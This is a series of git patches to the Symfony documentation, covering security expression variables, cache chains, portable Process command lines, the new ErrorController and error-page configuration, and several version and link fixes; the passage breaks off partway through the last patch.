 security/expressions.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 82a2aebee31..87aa4388ab6 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -39,9 +39,9 @@ Inside the expression, you have access to a number of variables:
 ``user``
     The user object (or the string ``anon`` if you're not authenticated).
 ``roles``
-    The array of roles the user has, including from the
-    :ref:`role hierarchy <security-role-hierarchy>` but not including the
-    ``IS_AUTHENTICATED_*`` attributes (see the functions below).
+    The array of roles the user has. This array includes any roles granted
+    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
+    does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.
 ``token``

From 6ed4809da985ffeb647a7f007a25b543a983ef7a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Dec 2019 12:00:10 +0100
Subject: [PATCH 0034/7107] Explain the prefix used for expressions in YAML
 files

---
 service_container/expression_language.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index daba69e6f26..fcf2e5e8c57 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -28,6 +28,7 @@ to another service: ``AppBundle\Mailer``. One way to do this is with an expressi
             AppBundle\Mail\MailerConfiguration: ~
 
             AppBundle\Mailer:
+                # the '@=' prefix is required when using expressions for arguments in YAML files
                 arguments: ["@=service('AppBundle\\\\Mail\\\\MailerConfiguration').getMailerMethod()"]
 
     .. code-block:: xml
@@ -80,6 +81,7 @@ via a ``container`` variable. Here's another example:
 
         services:
             AppBundle\Mailer:
+                # the '@=' prefix is required when using expressions for arguments in YAML files
                 arguments: ["@=container.hasParameter('some_param') ? parameter('some_param') : 'default_value'"]
 
     .. code-block:: xml

From 234c9f92de6d27c77033af2e1f48c8b348343593 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Dec 2019 13:27:17 +0100
Subject: [PATCH 0035/7107] Fixed the minimum Twig version needed for lazy
 extensions

---
 templating/twig_extension.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index dc0e29f8ccb..8508091000d 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -95,9 +95,9 @@ You can now start using your filter in any Twig template.
 Creating Lazy-Loaded Twig Extensions
 ------------------------------------
 
-.. versionadded:: 1.26
+.. versionadded:: 1.35
 
-    Support for lazy-loaded extensions was introduced in Twig 1.26.
+    Support for lazy-loaded extensions was introduced in Twig 1.35.0 and 2.4.4.
 
 Including the code of the custom filters/functions in the Twig extension class
 is the simplest way to create extensions. However, Twig must initialize all

From 1227f8b36056bdd448ba6d46cfb0392260194160 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Dec 2019 10:39:09 +0100
Subject: [PATCH 0036/7107] [Cache] Expand the docs about the cache chain

---
 cache.rst | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/cache.rst b/cache.rst
index 5de81659a5b..9912b879e93 100644
--- a/cache.rst
+++ b/cache.rst
@@ -397,11 +397,21 @@ and use that when configuring the pool.
 Creating a Cache Chain
 ----------------------
 
-Different cache adapters have different strengths and weaknesses. Some might be really
-quick but small and some may be able to contain a lot of data but are quite slow.
-To get the best of both worlds you may use a chain of adapters. The idea is to
-first look at the quick adapter and then move on to slower adapters. In the worst
-case the value needs to be recalculated.
+Different cache adapters have different strengths and weaknesses. Some might be
+really quick but optimized to store small items and some may be able to contain
+a lot of data but are quite slow. To get the best of both worlds you may use a
+chain of adapters.
+
+A cache chain combines several cache pools into a single one. When storing an
+item in a cache chain, Symfony stores it in all pools sequentially. When
+retrieving an item, Symfony tries to get it from the first pool. If it's not
+found, it tries the next pools until the item is found or an exception is thrown.
+Because of this behavior, it's recommended to define the adapters in the chain
+in order from the fastest to the slowest.
+
+If an error happens when storing an item in a pool, Symfony stores it in the
+other pools and no exception is thrown. Later, when the item is retrieved,
+Symfony stores the item automatically in all the missing pools.
 
 .. configuration-block::
 

From c54caecf1feeb6636423a5d3574152aa5b389a0f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Dec 2019 10:58:28 +0100
Subject: [PATCH 0037/7107] [Cache] Fixed a minor RST syntax issue

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index c08694cc51b..bf5454d09ae 100644
--- a/cache.rst
+++ b/cache.rst
@@ -518,7 +518,7 @@ the same key could be invalidate with one function call::
         }
     }
 
-The cache adapter needs to implement :class:`Symfony\\Contracts\\Cache\\TagAwareCacheInterface``
+The cache adapter needs to implement :class:`Symfony\\Contracts\\Cache\\TagAwareCacheInterface`
 to enable this feature. This could be added by using the following configuration.
 
 .. configuration-block::

From 35556da26a337428ecf9786d43de593c1b560e2a Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 6 Dec 2019 11:36:19 +0100
Subject: [PATCH 0038/7107] Update paragraph about portable command lines

---
 components/process.rst | 38 ++++++++++++++++----------------------
 1 file changed, 16 insertions(+), 22 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index 4819c023813..9a53f06080b 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -112,7 +112,7 @@ Using Features From the OS Shell
 
 Using array of arguments is the recommended way to define commands. This
 saves you from any escaping and allows sending signals seamlessly
-(e.g. to stop processes before completion)::
+(e.g. to stop processes while they run)::
 
     $process = new Process(['/path/command', '--option', 'argument', 'etc.']);
     $process = new Process(['/path/to/php', '--define', 'memory_limit=1024M', '/path/to/script.php']);
@@ -139,6 +139,21 @@ environment variables using the second argument of the ``run()``,
     // On both Unix-like and Windows
     $process->run(null, ['MESSAGE' => 'Something to output']);
 
+To help write command lines that are independent from the operating system,
+you can also write the above code as such::
+
+    // On both Unix-like and Windows
+    $process = Process::fromShellCommandline('echo "${:MESSAGE}"');
+
+This requires using a syntax that is specific to the component: when enclosing
+a variable name into ``"{$:`` and ``}"`` exactly, the process object will
+replace it with its escaped value, or will fail if the variable is not found in
+the list of environment variables attached to the command.
+
+.. versionadded:: 4.4
+
+    Portable command lines were introduced in Symfony 4.4.
+
 Setting Environment Variables for Processes
 -------------------------------------------
 
@@ -368,27 +383,6 @@ instead::
     );
     $process->run();
 
-Using a Prepared Command Line
------------------------------
-
-You can run the process by using a a prepared command line using the
-double bracket notation. You can use a placeholder in order to have a
-process that can only be changed with the values and without changing
-the PHP code::
-
-    use Symfony\Component\Process\Process;
-
-    $process = Process::fromShellCommandline('echo "$name"');
-    $process->run(null, ['name' => 'Elsa']);
-
-.. caution::
-
-    A prepared command line will not be escaped automatically!
-
-.. versionadded:: 4.4
-
-    Prepared command lines were introduced in Symfony 4.4.
-
 Process Timeout
 ---------------
 

From 00d045cd452adab659825d7a6b469eb578f04d83 Mon Sep 17 00:00:00 2001
From: Egor Ushakov <egor.ushakov.ru@gmail.com>
Date: Thu, 5 Dec 2019 19:25:28 +0300
Subject: [PATCH 0039/7107] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 30abf07b135..5cc5bbdd4e1 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1310,7 +1310,7 @@ middleware and *only* include your own:
                 buses:
                     messenger.bus.default:
                         middleware:
-                            # service ids that implement Symfony\Component\Messenger\Middleware
+                            # service ids that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface
                             - 'App\Middleware\MyMiddleware'
                             - 'App\Middleware\AnotherMiddleware'
 

From 72e8bb9723260a2355588cf11136854b024857f4 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Dec 2019 13:54:31 +0100
Subject: [PATCH 0040/7107] Fixed DOCtor whitelist

---
 .doctor-rst.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index caebab386db..efc63dba577 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -60,8 +60,8 @@ whitelist:
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 0.21.0' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
-        - '.. versionadded:: 1.26' # Twig
         - '.. versionadded:: 1.30' # Twig
+        - '.. versionadded:: 1.35' # Twig
         - '.. versionadded:: 1.2' # MakerBundle
         - '.. versionadded:: 1.11' # MakerBundle
         - '.. versionadded:: 1.3' # MakerBundle

From 58928695d45f3da52346a7ba201a70e9b044ffb8 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 5 Dec 2019 11:00:48 +0100
Subject: [PATCH 0041/7107] Update setup.rst
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Hello,

I just updated the files to link to Symfony releases instead of Symfony Roadmap.

Cheers 😉
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index f9585b1eb6a..32be370c945 100644
--- a/setup.rst
+++ b/setup.rst
@@ -230,7 +230,7 @@ Symfony LTS Versions
 
 According to the :doc:`Symfony release process </contributing/community/releases>`,
 "long-term support" (or LTS for short) versions are published every two years.
-Check out the `Symfony roadmap`_ to know which is the latest LTS version.
+Check out the `Symfony releases`_ to know which is the latest LTS version.
 
 By default, the command that creates new Symfony applications uses the latest
 stable version. If you want to use an LTS version, add the ``--version`` option:
@@ -284,7 +284,7 @@ Learn More
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
-.. _`Symfony roadmap`: https://symfony.com/roadmap
+.. _`Symfony releases`: https://symfony.com/releases
 .. _`Main recipe repository`: https://github.com/symfony/recipes
 .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib
 .. _`Symfony Recipes documentation`: https://github.com/symfony/recipes/blob/master/README.rst

From 2ad6aaa543c9f9f2f329ca51f216dfc9bc1ea2f0 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Dec 2019 13:59:22 +0100
Subject: [PATCH 0042/7107] Removed 4.4 versionadded from the 4.3 docs

---
 components/cache/adapters/redis_adapter.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 53b28c58466..608fd8e44d2 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -106,10 +106,6 @@ name of your service group::
 
     The option to define multiple servers in a single DSN was introduced in Symfony 4.2.
 
-.. versionadded:: 4.4
-
-    Redis Sentinel support was introduced in Symfony 4.4.
-
 .. note::
 
     See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options

From 3c6c7a3648c11720726c3b439c25c20370f58c4f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Dec 2019 13:59:39 +0100
Subject: [PATCH 0043/7107] Revert "Removed 4.4 versionadded from the 4.3 docs"

This reverts commit 2ad6aaa543c9f9f2f329ca51f216dfc9bc1ea2f0.
---
 components/cache/adapters/redis_adapter.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 608fd8e44d2..53b28c58466 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -106,6 +106,10 @@ name of your service group::
 
     The option to define multiple servers in a single DSN was introduced in Symfony 4.2.
 
+.. versionadded:: 4.4
+
+    Redis Sentinel support was introduced in Symfony 4.4.
+
 .. note::
 
     See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options

From 6784ec42d6711d15598d52064fa4b06b540e287c Mon Sep 17 00:00:00 2001
From: Johny <proke.j@gmail.com>
Date: Sun, 8 Dec 2019 21:28:36 +0100
Subject: [PATCH 0044/7107] ListenerInterface deprecated since Symfony 4.3

Symfony\Component\Security\Http\Firewall deprecation comment:

    @deprecated since Symfony 4.3, turn listeners into callables instead

Targeting 4.3 branch as per @OskarStark comment in original PR https://github.com/symfony/symfony-docs/pull/12780#issuecomment-562987989
---
 security/custom_authentication_provider.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 1a0a78bf226..1edc00c5228 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -97,8 +97,7 @@ The Listener
 
 Next, you need a listener to listen on the firewall. The listener
 is responsible for fielding requests to the firewall and calling the authentication
-provider. A listener must be an instance of
-:class:`Symfony\\Component\\Security\\Http\\Firewall\\ListenerInterface`.
+provider. Listener is a callable, so you have to implement __invoke() method.
 A security listener should handle the
 :class:`Symfony\\Component\\HttpKernel\\Event\\RequestEvent` event, and
 set an authenticated token in the token storage if successful::
@@ -112,9 +111,8 @@ set an authenticated token in the token storage if successful::
     use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface;
     use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Http\Firewall\ListenerInterface;
 
-    class WsseListener implements ListenerInterface
+    class WsseListener
     {
         protected $tokenStorage;
         protected $authenticationManager;
@@ -125,7 +123,7 @@ set an authenticated token in the token storage if successful::
             $this->authenticationManager = $authenticationManager;
         }
 
-        public function handle(RequestEvent $event)
+        public function __invoke(RequestEvent $event)
         {
             $request = $event->getRequest();
 

From 1ca59e0741f60da36d0aae6f2f700c2fefefc510 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 12:26:35 +0100
Subject: [PATCH 0045/7107] Updated a link to Debug component

---
 components/phpunit_bridge.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 01b2583e17e..b2b6a1fac47 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -311,8 +311,9 @@ Deprecation Notices at Autoloading Time
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, the PHPUnit Bridge uses ``DebugClassLoader`` from the
-`Debug component`_ to throw deprecation notices at class autoloading time.
-This can be disabled with the ``debug-class-loader`` option.
+:doc:`ErrorHandler component </components/error_handler>`_ to throw deprecation
+notices at class autoloading time. This can be disabled with the
+``debug-class-loader`` option.
 
 .. code-block:: xml
 
@@ -978,4 +979,3 @@ not find the SUT:
 .. _`test listener`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.test-listeners
 .. _`@covers`: https://phpunit.de/manual/current/en/appendixes.annotations.html#appendixes.annotations.covers
 .. _`PHP namespace resolutions rules`: https://php.net/manual/en/language.namespaces.rules.php
-.. _Debug component: https://github.com/symfony/debug

From 6d661f0a7d4b50d116cdc298a926cd413716bf7f Mon Sep 17 00:00:00 2001
From: Michael Schouman <metalmini@gmail.com>
Date: Mon, 25 Nov 2019 13:52:55 +0100
Subject: [PATCH 0046/7107] Updated the location of the errors.xml file

---
 controller/error_pages.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index b1a6e2d3992..706765f56be 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -157,30 +157,30 @@ automatically when installing Twig support):
 
     .. code-block:: yaml
 
-        # config/routes/dev/twig.yaml
+        # config/routes/dev/framework.yaml
         _errors:
-            resource: '@TwigBundle/Resources/config/routing/errors.xml'
+            resource: '@FrameworkBundle/Resources/config/routing/errors.xml'
             prefix:   /_error
 
     .. code-block:: xml
 
-        <!-- config/routes/dev/twig.xml -->
+        <!-- config/routes/dev/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="@TwigBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
+            <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
         </routes>
 
     .. code-block:: php
 
-        // config/routes/dev/twig.php
+        // config/routes/dev/framework.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->import('@TwigBundle/Resources/config/routing/errors.xml')
+            $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
                 ->prefix('/_error')
             ;
         };

From 4c867f9b5556631aa618006fe51c7fc1113439f4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Dani=C3=ABl=20Brekelmans?= <dbrekelmans@live.nl>
Date: Sun, 24 Nov 2019 15:33:36 +0100
Subject: [PATCH 0047/7107] Fix 12273 Added new ErrorController

---
 controller/error_pages.rst            | 151 ++++++++++++++------------
 reference/configuration/framework.rst |  18 +++
 reference/configuration/twig.rst      |   6 +
 3 files changed, 108 insertions(+), 67 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 482ba6edd95..3d8b3a33ef6 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -9,14 +9,6 @@ In Symfony applications, all errors are treated as exceptions, no matter if they
 are just a 404 Not Found error or a fatal error triggered by throwing some
 exception in your code.
 
-If your app has the `TwigBundle`_ installed, a special controller handles these
-exceptions. This controller displays debug information for errors and allows to
-customize error pages, so run this command to make sure the bundle is installed:
-
-.. code-block:: terminal
-
-    $ composer require twig
-
 In the :ref:`development environment <configuration-environments>`,
 Symfony catches all the exceptions and displays a special **exception page**
 with lots of debug information to help you discover the root problem:
@@ -39,37 +31,42 @@ Error pages for the production environment can be customized in different ways
 depending on your needs:
 
 #. If you just want to change the contents and styles of the error pages to match
-   the rest of your application, :ref:`override the default error templates <use-default-exception-controller>`;
+   the rest of your application, :ref:`override the default error templates <use-default-error-controller>`;
+
+#. If you want to change the contents of non-HTML error output, :ref:`create a new normalizer <overriding-non-html-error-output>`;
 
 #. If you also want to tweak the logic used by Symfony to generate error pages,
-   :ref:`override the default exception controller <custom-exception-controller>`;
+   :ref:`override the default error controller <custom-error-controller>`;
 
 #. If you need total control of exception handling to execute your own logic
    :ref:`use the kernel.exception event <use-kernel-exception-event>`.
 
-.. _use-default-exception-controller:
-.. _using-the-default-exceptioncontroller:
+.. _use-default-error-controller:
+.. _using-the-default-errorcontroller:
 
 Overriding the Default Error Templates
 --------------------------------------
 
-When the error page loads, an internal :class:`Symfony\\Bundle\\TwigBundle\\Controller\\ExceptionController`
+You can use the built-in Twig error renderer to easily override the default error templates.
+Both the TwigBundle and TwigBridge need to be installed for this.
+Run this command to ensure both are installed:
+
+.. code-block:: terminal
+
+    $ composer require twig
+
+When the error page loads, :class:`Symfony\\Bridge\\Twig\\ErrorRenderer\\TwigErrorRenderer`
 is used to render a Twig template to show the user.
 
 .. _controller-error-pages-by-status-code:
 
-This controller uses the HTTP status code, the request format and the following
+This renderer uses the HTTP status code and the following
 logic to determine the template filename:
 
-#. Look for a template for the given format and status code (like ``error404.json.twig``
-   or ``error500.html.twig``);
+#. Look for a template for the given status code (like ``error500.html.twig``);
 
 #. If the previous template doesn't exist, discard the status code and look for
-   a generic template for the given format (like ``error.json.twig`` or
-   ``error.xml.twig``);
-
-#. If none of the previous templates exist, fall back to the generic HTML template
-   (``error.html.twig``).
+   a generic error template (``error.html.twig``).
 
 .. _overriding-or-adding-templates:
 
@@ -77,7 +74,7 @@ To override these templates, rely on the standard Symfony method for
 :ref:`overriding templates that live inside a bundle <override-templates>` and
 put them in the ``templates/bundles/TwigBundle/Exception/`` directory.
 
-A typical project that returns HTML and JSON pages might look like this:
+A typical project that returns HTML pages might look like this:
 
 .. code-block:: text
 
@@ -87,10 +84,7 @@ A typical project that returns HTML and JSON pages might look like this:
           └─ Exception/
              ├─ error404.html.twig
              ├─ error403.html.twig
-             ├─ error.html.twig      # All other HTML errors (including 500)
-             ├─ error404.json.twig
-             ├─ error403.json.twig
-             └─ error.json.twig      # All other JSON errors (including 500)
+             └─ error.html.twig      # All other HTML errors (including 500)
 
 Example 404 Error Template
 --------------------------
@@ -112,24 +106,17 @@ To override the 404 error template for HTML pages, create a new
         </p>
     {% endblock %}
 
-In case you need them, the ``ExceptionController`` passes some information to
+In case you need them, the ``TwigErrorRenderer`` passes some information to
 the error template via the ``status_code`` and ``status_text`` variables that
 store the HTTP status code and message respectively.
 
 .. tip::
 
-    You can customize the status code by implementing
+    You can customize the status code of an exception by implementing
     :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpExceptionInterface`
     and its required ``getStatusCode()`` method. Otherwise, the ``status_code``
     will default to ``500``.
 
-.. note::
-
-    The exception pages shown in the development environment can be customized
-    in the same way as error pages. Create a new ``exception.html.twig`` template
-    for the standard HTML exception page or ``exception.json.twig`` for the JSON
-    exception page.
-
 Security & 404 Pages
 --------------------
 
@@ -146,41 +133,41 @@ While you're in the development environment, Symfony shows the big *exception*
 page instead of your shiny new customized error page. So, how can you see
 what it looks like and debug it?
 
-Fortunately, the default ``ExceptionController`` allows you to preview your
+Fortunately, the default ``ErrorController`` allows you to preview your
 *error* pages during development.
 
-To use this feature, you need to load some special routes provided by TwigBundle
+To use this feature, you need to load some special routes provided by FrameworkBundle
 (if the application uses :ref:`Symfony Flex <symfony-flex>` they are loaded
-automatically when installing Twig support):
+automatically when installing ``symfony/framework-bundle``):
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/routes/dev/twig.yaml
+        # config/routes/dev/framework.yaml
         _errors:
-            resource: '@TwigBundle/Resources/config/routing/errors.xml'
+            resource: '@FrameworkBundle/Resources/config/routing/errors.xml'
             prefix:   /_error
 
     .. code-block:: xml
 
-        <!-- config/routes/dev/twig.xml -->
+        <!-- config/routes/dev/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="@TwigBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
+            <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
         </routes>
 
     .. code-block:: php
 
-        // config/routes/dev/twig.php
+        // config/routes/dev/framework.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->import('@TwigBundle/Resources/config/routing/errors.xml')
+            $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
                 ->prefix('/_error')
             ;
         };
@@ -193,61 +180,93 @@ for a given status code as HTML or for a given status code and format.
      http://localhost/index.php/_error/{statusCode}
      http://localhost/index.php/_error/{statusCode}.{format}
 
-.. _custom-exception-controller:
-.. _replacing-the-default-exceptioncontroller:
+.. _overriding-non-html-error-output:
+
+Overriding Error output for non-HTML formats
+--------------------------------------------
 
-Overriding the Default ExceptionController
-------------------------------------------
+To override non-HTML error output, the Serializer component needs to be installed.
+
+.. code-block:: terminal
+
+    $ composer require serializer
+
+The Serializer component has a built-in ``FlattenException`` normalizer (``ProblemNormalizer``) and JSON/XML/CSV/YAML
+encoders by default. That means that if an exception were to be thrown in your application, Symfony can output it in
+a format supported by one of the encoders. If you want to change how the output is structured, all you have to do
+is create a new Normalizer that supports the ``FlattenException`` input::
+
+    class MyCustomProblemNormalizer implements NormalizerInterface
+    {
+        public function normalize($exception, $format = null, array $context = [])
+        {
+            return [
+                'content': 'This is my custom problem normalizer.',
+                'exception': [
+                    'message': $exception->getMessage(),
+                    'code': $exception->getStatusCode(),
+                ],
+            ];
+        }
+
+        public function supportsNormalization($data, $format = null)
+        {
+            return $data instanceof FlattenException;
+        }
+    }
+
+.. _custom-error-controller:
+.. _replacing-the-default-errorcontroller:
+
+Overriding the Default ErrorController
+--------------------------------------
 
 If you need a little more flexibility beyond just overriding the template,
 then you can change the controller that renders the error page. For example,
 you might need to pass some additional variables into your template.
 
 To do this, create a new controller anywhere in your application and set
-the :ref:`twig.exception_controller <config-twig-exception-controller>`
+the :ref:`framework.error_controller <config-framework-error_controller>`
 configuration option to point to it:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/twig.yaml
-        twig:
-            exception_controller: App\Controller\ExceptionController::showAction
+        # config/packages/framework.yaml
+        framework:
+            error_controller: App\Controller\ErrorController::showAction
 
     .. code-block:: xml
 
-        <!-- config/packages/twig.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:twig="http://symfony.com/schema/dic/twig"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/twig
-                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-            <twig:config>
-                <twig:exception-controller>App\Controller\ExceptionController::showAction</twig:exception-controller>
-            </twig:config>
+            <framework:config>
+                <framework:error_controller>App\Controller\ErrorController::showAction</framework:error_controller>
+            </framework:config>
 
         </container>
 
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'exception_controller' => 'App\Controller\ExceptionController::showAction',
+        $container->loadFromExtension('framework', [
+            'error_controller' => 'App\Controller\ErrorController::showAction',
             // ...
         ]);
 
-The :class:`Symfony\\Component\\HttpKernel\\EventListener\\ExceptionListener`
-class used by the TwigBundle as a listener of the ``kernel.exception`` event creates
+The :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`
+class used by the FrameworkBundle as a listener of the ``kernel.exception`` event creates
 the request that will be dispatched to your controller. In addition, your controller
 will be passed two parameters:
 
 ``exception``
-    A :class:`\\Symfony\\Component\\ErrorRenderer\\Exception\\FlattenException`
+    A :class:`\\Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
     instance created from the exception being handled.
 
 ``logger``
@@ -355,5 +374,3 @@ time and again, you can have just one (or several) listeners deal with them.
     your application (like :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`)
     and takes measures like redirecting the user to the login page, logging them
     out and other things.
-
-.. _`TwigBundle`: https://github.com/symfony/twig-bundle
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d0cfd613590..d100d1b7b62 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -74,6 +74,7 @@ Configuration
 
 * `default_locale`_
 * `disallow_search_engine_index`_
+* `error_controller`_
 * `esi`_
 
   * :ref:`enabled <reference-esi-enabled>`
@@ -596,6 +597,23 @@ If you're using forms, but want to avoid starting your session (e.g. using
 forms in an API-only website), ``csrf_protection`` will need to be set to
 ``false``.
 
+.. _config-framework-error_controller:
+
+error_controller
+~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``error_controller``
+
+.. versionadded:: 4.4
+
+    The ``error_controller`` option was introduced in Symfony 4.4.
+
+This is the controller that is activated after an exception is thrown anywhere
+in your application. The default controller
+(:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`)
+is what's responsible for rendering specific templates under different error
+conditions (see :doc:`/controller/error_pages`).
+
 esi
 ~~~
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 147a8a9b145..7c6add6ca60 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -203,6 +203,12 @@ exception_controller
 
 **type**: ``string`` **default**: ``twig.controller.exception:showAction``
 
+.. deprecated:: 4.4
+
+    The ``exception_controller`` configuration option was deprecated in Symfony 4.4.
+    Set it to ``null`` and use the new ``error_controller`` option under ``framework``
+    configuration instead.
+
 This is the controller that is activated after an exception is thrown anywhere
 in your application. The default controller
 (:class:`Symfony\\Bundle\\TwigBundle\\Controller\\ExceptionController`)

From b243534a8d2f71fa6787da5c433b0d3fc443ec8b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 12:59:50 +0100
Subject: [PATCH 0048/7107] Minor tweaks

---
 controller/error_pages.rst            | 21 +++++++++++++--------
 reference/configuration/framework.rst |  8 ++++----
 2 files changed, 17 insertions(+), 12 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 3d8b3a33ef6..471bb55d4f6 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -33,7 +33,8 @@ depending on your needs:
 #. If you just want to change the contents and styles of the error pages to match
    the rest of your application, :ref:`override the default error templates <use-default-error-controller>`;
 
-#. If you want to change the contents of non-HTML error output, :ref:`create a new normalizer <overriding-non-html-error-output>`;
+#. If you want to change the contents of non-HTML error output,
